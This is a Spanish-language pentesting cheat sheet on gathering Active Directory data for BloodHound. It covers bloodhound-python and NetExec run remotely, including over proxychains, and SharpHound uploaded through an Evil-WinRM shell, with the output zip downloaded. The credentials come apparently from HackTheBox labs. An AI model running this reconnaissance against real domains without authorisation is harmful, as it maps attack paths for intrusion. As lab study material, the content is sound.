⚪ BloodHound
Ingestor
El ingestor se encarga de recopilar de forma remota/local toda la información relevante del Active Directory, luego la exporta a un archivo saliente .zip
que posteriormente podra ser importado en BloodHound para visualizar cómodamente el mapa del dominio.
Remoto
bloodhound-python
bloodhound-python -u svc-alfresco -p s3rvice -ns 192.168.1.2 -d htb.local -c All --zip
# proxy / tunnel / pivoting / proxychains
proxychains -q bloodhound-python -u svc-alfresco -p s3rvice -ns 192.168.1.2 -d htb.local -c All --dns-tcp --zip
NetExec
rm ~/.nxc/logs/*
netexec ldap 192.168.1.2 -u 'svc-alfresco' -p 's3rvice' --bloodhound --collection All
netexec ldap 192.168.1.2 -u 'svc-alfresco' -p 's3rvice' --bloodhound --collection All --dns-server 192.168.1.2
mv ~/.nxc/logs/*.zip .
Local
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop\Privesc> upload SharpHound.exe
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop\Privesc> .\SharpHound.exe -c All
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop\Privesc> dir
Directory: C:\Users\svc_loanmgr\Desktop\Privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/26/2022 7:44 AM 11633 20220926074434_BloodHound.zip
-a---- 9/26/2022 7:42 AM 1051648 SharpHound.exe
-a---- 9/26/2022 7:44 AM 8601 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop\Privesc> download 20220926074434_BloodHound.zip
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> upload SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> Invoke-BloodHound -CollectionMethod All
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> dir
Directory: C:\Users\svc_loanmgr\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/25/2022 5:41 PM 9112 20220925174131_BloodHound.zip
-a---- 9/25/2022 5:40 PM 973325 SharpHound.ps1
-a---- 9/25/2022 5:41 PM 11122 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin
*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> download 20220925174131_BloodHound.zip
Analisis
Iniciar
neo4j
Se encarga de gestionar la base de datos, las credenciales por defecto al intalar son neo4j:neo4j
(Las credenciales han de ser cambiadas cuando se inicie por primera vez tras la intalación)
# apt install -y neo4j
neo4j console
bloodhound
Se encarga de visualizar los datos obtenidos del archivo .zip
haciendo click en Upload Data
# apt install -y bloodhound
bloodhound
